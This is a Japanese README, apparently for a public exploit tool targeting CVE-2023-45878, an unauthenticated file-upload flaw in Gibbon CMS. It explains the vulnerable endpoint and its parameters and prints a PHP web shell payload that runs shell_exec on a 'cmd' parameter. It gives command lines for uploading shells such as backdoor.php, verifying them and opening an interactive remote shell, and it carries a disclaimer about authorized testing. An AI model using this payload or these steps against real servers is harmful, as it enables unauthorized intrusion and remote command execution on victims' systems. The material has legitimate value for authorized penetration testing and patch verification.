Gibbon CMS (CVE-2023-45878) エクスプロイト

このPythonスクリプトは、Gibbon CMS バージョン25.0.1以前における未認証の任意ファイルアップロード脆弱性 CVE-2023-45878 を悪用し、リモートコード実行（RCE）に至ります。

脆弱性の説明

CVE-2023-45878 は Gibbon CMS の rubrics_visualise_saveAjax.php エンドポイントに存在します。このエンドポイントは認証を必要とせず、任意のファイル書き込みが可能であるため脆弱です。

脆弱性は以下の点から生じます：

未認証アクセス: modules/Rubrics/rubrics_visualise_saveAjax.php エンドポイントは認証なしでアクセス可能です。
任意ファイル書き込み: エンドポイントは img、path、gibbonPersonID のPOSTパラメータを受け付けます。
- img パラメータには特別な形式のデータが含まれることが期待されており、カンマ以降の部分がbase64エンコードされた文字列です。
- path パラメータが指定された場合、アップロードファイルの保存先ファイル名として使用され、Gibbon インストールディレクトリからの相対パスとなります。
- スクリプトは img パラメータからbase64エンコードされた内容をデコードし、path パラメータで指定されたファイルに書き込みます。
リモートコード実行: base64エンコードされたPHPコード（例：<?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>）を含む悪意のある img パラメータを作成し、Webサーバーからアクセス可能な .php ファイルとなる path を指定することで、攻撃者はPHPウェブシェルをアップロードし、脆弱なサーバー上でリモートコード実行を達成できます。

スクリプトの機能

このPythonスクリプトは CVE-2023-45878 のエクスプロイトを自動化します。以下のアクションを実行します：

PHPウェブシェルのアップロード: modules/Rubrics/rubrics_visualise_saveAjax.php への悪意のあるPOSTリクエストを作成し、PHPウェブシェルをアップロードします。ウェブシェルのペイロードは <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?> であり、{VERIFY_TAG} はカスタマイズ可能なタグです。ペイロードはbase64エンコードされ、img パラメータ内で送信されます。
シェルの検証: GETリクエストで簡単なコマンド（例：cmd=echo）を送信し、応答内で VERIFY_TAG を確認することで、アップロードされたシェルがアクセス可能で機能するかどうかを検証できます。また、--verify や --interactive オプションが使用された場合、既存のシェルがないか事前チェックも行います（存在する場合はアップロードをスキップ）。
インタラクティブシェルモード: シェルがアップロードされ検証された場合（または事前チェックで見つかった場合）、スクリプトはインタラクティブモードに入ることができます。このモードの特徴は以下の通りです：
- リモートOS（Windows/Linux）の検出により、コマンドを調整します。
- 現在のユーザー、ホスト名、リモートのカレントワーキングディレクトリを表示する動的プロンプト（例：user@host:cwd$）。
- cd コマンドのリモートカレントワーキングディレクトリ変更処理を組み込み。
- クライアント側の特別なコマンド：
  - !help: インタラクティブコマンドのヘルプを表示。

使用方法

python3 exploit.py <target_url> [options]

引数:

target_url: ターゲットの Gibbon CMS インスタンスのベースURL。スキームが指定されていない場合、スクリプトは http:// を先頭に追加し、末尾にスラッシュが付くようにします（例：http://example.com/gibbon または example.com/gibbon）。

オプション:

-s <shell_path>, --shell-path <shell_path>: アップロードするシェルのパスとファイル名を指定します（例：shell.php、uploads/shell.php）。省略した場合、Gibbon ベースディレクトリにランダムな8文字のファイル名（拡張子 .php）が生成されます。警告: 指定したパスが Web サーバーから書き込み可能であり、Web 経由でアクセス可能であることを確認してください。
-v, --verify: シェルのアップロード試行後、動作しているかどうかを検証します。このオプションは、指定された名前とタグのシェルがすでに存在するかどうかの事前チェックもトリガーし、存在する場合はアップロードがスキップされます。
-i, --interactive: インタラクティブシェルモードに入ります。シェルがまだ存在しない場合（事前チェックで確認）、最初にアップロードおよび検証されます。
-t <tag>, --tag <tag>: ウェブシェルペイロード内で検証用に使用するカスタム静的タグを指定します。デフォルト: ExploitGibbon。
--timeout <timeout>: HTTP リクエストのタイムアウトを秒単位で設定します。デフォルト: 20。

例:

Gibbon メインディレクトリ内にランダムなシェル名、デフォルトタグを使用した基本エクスプロイト:
```
python3 exploit.py http://target.com/gibbon/
```
エクスプロイト、Gibbon メインディレクトリにシェルファイル名 my_shell.php を指定、デフォルトタグ:
```
python3 exploit.py http://target.com/gibbon/ -s my_shell.php
```
エクスプロイト、シェルファイル名 backdoor.php を uploads/ にアップロード、検証、カスタムタグを使用:
```
python3 exploit.py http://target.com/gibbon/ -s uploads/backdoor.php -v -t MySecretTag123
```
エクスプロイト、シェルをアップロードし、デフォルトタグ、タイムアウト30秒でインタラクティブモードに入る:
```
python3 exploit.py http://target.com/gibbon/ -s shell.php -i --timeout 30
```
既存のシェルでインタラクティブモードに入る（スクリプトが事前チェックで存在確認）:
```
python3 exploit.py http://target.com/gibbon/ -s shell.php -t ExploitGibbon -i
```
デフォルトタグで existing_shell.php という名前のシェルがアクティブかどうかのみ検証（見つからない場合はアップロードを試行）:

必要条件

Python 3.7+ （f-strings、型ヒント、dataclasses、pathlib の使用のため）
requests ライブラリ: pip install requests でインストール
rich ライブラリ: pip install rich でインストール
prompt_toolkit ライブラリ（オプション、インタラクティブモード強化用）: pip install prompt_toolkit でインストール

免責事項

このスクリプトは教育およびセキュリティテスト目的のみで提供されています。自己責任で使用し、明示的な許可を得たシステムに対してのみ使用してください。作者は、このスクリプトの誤用またはそれによって生じた損害について一切の責任を負いません。許可なく脆弱性を悪用することは違法かつ非倫理的です。

CVE-2023-45878

人気